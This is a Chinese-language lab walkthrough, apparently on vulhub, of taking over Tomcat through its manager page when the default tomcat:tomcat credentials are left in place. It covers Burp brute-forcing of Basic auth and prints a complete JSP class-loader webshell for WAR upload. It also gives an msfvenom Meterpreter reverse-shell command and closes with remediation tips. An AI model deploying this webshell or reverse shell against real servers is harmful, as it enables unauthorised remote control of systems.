漏洞描述
tomcat
是一個用於快速部署jsp
網站的中介軟體
tomcat預設的管理頁面manager
使用basic認證
使用者名稱密碼登入,可以使用burp
進行爆破,並且一般安裝後如果不修改/conf/tomcat-users.xml
檔案中的預設使用者名稱密碼tomcat:tomcat
,可以登入管理後臺,在部署war
包後tomcat預設會將war
包中的專案部署,由於可以任意的上傳,所以我們可以將jsp
檔案打包為一個war
檔案上傳getshell
tomcat
預設目錄解析
bin
: 存放啟動和關閉tomcat服務的可執行檔案,例如.bat .exe .sh
catalina.sh
: 主要用於啟動和管理tomcat伺服器startup.sh
: 啟動tomcat服務shutdown.sh
: 關閉tomcat服務configtest.sh
: 檢查配置檔案conf
: 存放配置檔案server.xml
: 全域性配置檔案web.xml
: 控制tomcat支援的檔案型別tomcat-users.xml
: tomcat使用者配置檔案
lib
: 各種jar
檔案,tomcat庫檔案logs
: 日誌檔案webapps
: Web應用程式目錄,其中可能預設還有以下目錄examples
: 該目錄是一個tomcat部署的一個預設專案,其中會展示tomcat的功能ROOT
: 是Web服務的預設目錄,例如在訪問http://localhost:8080/
目錄時,預設訪問呢就是該目錄的檔案manager
: tomcat的管理應用,用於遠端部署、啟動、停止和解除安裝Web應用。這個應用通常需要管理員許可權才能訪問,該頁面的使用者配置檔案由conf/tomcat-users.xml
配置host-manager
: 管理虛擬主機,需要管理員許可權
這裡只做簡單瞭解。
漏洞利用
使用vulhub
進行漏洞復現
cd vulhub/tomcat/tomcat8
sudo docker-compose up -d
該漏洞場景是部署沒有修改的配置檔案tomcat-users.xml
,其中使用者名稱和密碼都是tomcat
,這裡我們為了學習更多的方法,採用burp
嘗試爆破basic
認證
點選mananger app
或者直接訪問manager
目錄,會提示登入,這裡隨便輸入使用burp
抓包提交
傳送到爆破模組
將YWRtaW46YWRtaW4=
進行base64
解碼
所以這裡需要新增三個引數並且拼接到一起,這是最好的方式是使用自定義迭代
的方法
格式為: 使用者名稱
、:
、密碼
,然後提交的時候進行base64
加密,這裡我們使用預設模式sniper(狙擊手)
配置每個位置的值,注意這裡每個使用者名稱變數都使用自定義迭代器
第一個就是使用者名稱變數,由於這裡我們知道使用者和密碼,只是做一些爆破測試,手動加入一些常見的使用者名稱,選擇位置為1
第二個變數是使用者名稱和密碼的分解符,所以直接加入:
即可,選擇位置2
第三個變數是密碼變數,手動加入一些密碼測試爆破,選擇位置3
取消預設將引數值進行url
編碼
最後進行base64
編碼
最後開始爆破
透過狀態碼為200
表示爆破成功,我們進行base64
解密後臺使用者名稱密碼就是tomcat:tomcat
接著我們訪問並登入後臺找到上傳war
檔案位置
這是需要執著一個war
的包,可以自己手動打包,jsp
一句話木馬程式碼如下,密碼為passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
使用jar cvf test.war test.jsp
打包
將該test.war
上傳後tomcat直接會部署該專案,根據檔名生成一個目錄,並將我們打包的test.jsp
放到目錄中,所以只需要訪問test/test.jsp
即可
訪問成功,空白頁面
使用蟻劍連線
額外的技巧,使用msfvenom
也可以生成war
後門檔案,如下
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war
上傳後只需要啟動msfconsole
然後use multi/handler
,設定payload
和相關引數,可以獲得一個更強的meterpreter shell
感興趣可以手動嘗試。
漏洞修復建議
- 將
conf/tomcat-users.xml
中的使用者名稱和密碼都進行更改,改的極其複雜,更改後記得重啟伺服器 - 將
manager
目錄下的功能暫時關閉,需要的時候開啟